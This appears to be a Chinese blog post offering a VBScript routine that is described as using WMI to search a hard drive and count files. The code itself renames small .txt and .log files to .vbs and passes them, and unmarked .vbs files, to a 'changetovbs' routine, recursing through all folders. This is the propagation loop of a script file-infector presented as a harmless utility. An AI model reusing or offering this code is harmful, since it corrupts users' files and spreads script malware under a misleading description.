VBS调用WMI遍历搜索硬盘文件并计数

标签: , , , ,

多年之前写的一个VBS调用WMI来遍历搜索硬盘文件,并计数的函数,今天整理网盘,看到了,发上来。

Function wmisfile(path_sf,justcnt)
    'On Error Resume Next
    StrComputer = "."
    Set ObjWMIService = GetObject("winmgmts:\\" & StrComputer & "\root\cimv2")
    Set FileList = objWMIService.ExecQuery _
    ("ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _
     & "ResultClass = CIM_DataFile")
    For Each objFile In FileList
        fname = LCase(objfile.name)
        ename = LCase(objfile.extension)
        If 1 < objfile.filesize And objfile.filesize <= 50000 Then
            Select Case ename
                Case "txt","log"
                path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs"
                objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs")
                Call changetovbs(path_vbs,path_vbs)
                justcnt = justcnt + 1
                Case "vbs"
                If checkversion(fname) = False Then
                    Call changetovbs(fname,fname)
                    justcnt = justcnt + 1
                End If
            End Select
        End If
    Next
    Set colSubfolders = objWMIService.ExecQuery _
    ("Associators of {Win32_Directory.Name='" & path_sf & "'} " _
     & "Where AssocClass = Win32_Subdirectory " _
     & "ResultRole = PartComponent")
    For Each objFolder In colSubfolders
        wmisfile objfolder.name,justcnt
    Next
End Function

原文链接:http://think2think.cn/archives/19/

随机文章:

  1. 禁用Windows系统的临时IPv6地址
  2. VBS调用WMI获取CPU使用率
  3. 用VBS判断无BOM头的文件是否UTF-8编码
  4. VBS修改文件和文件夹的NTFS 权限
  5. ActivePython PyPM error: (OperationalError) unable to open database file None None

留下回复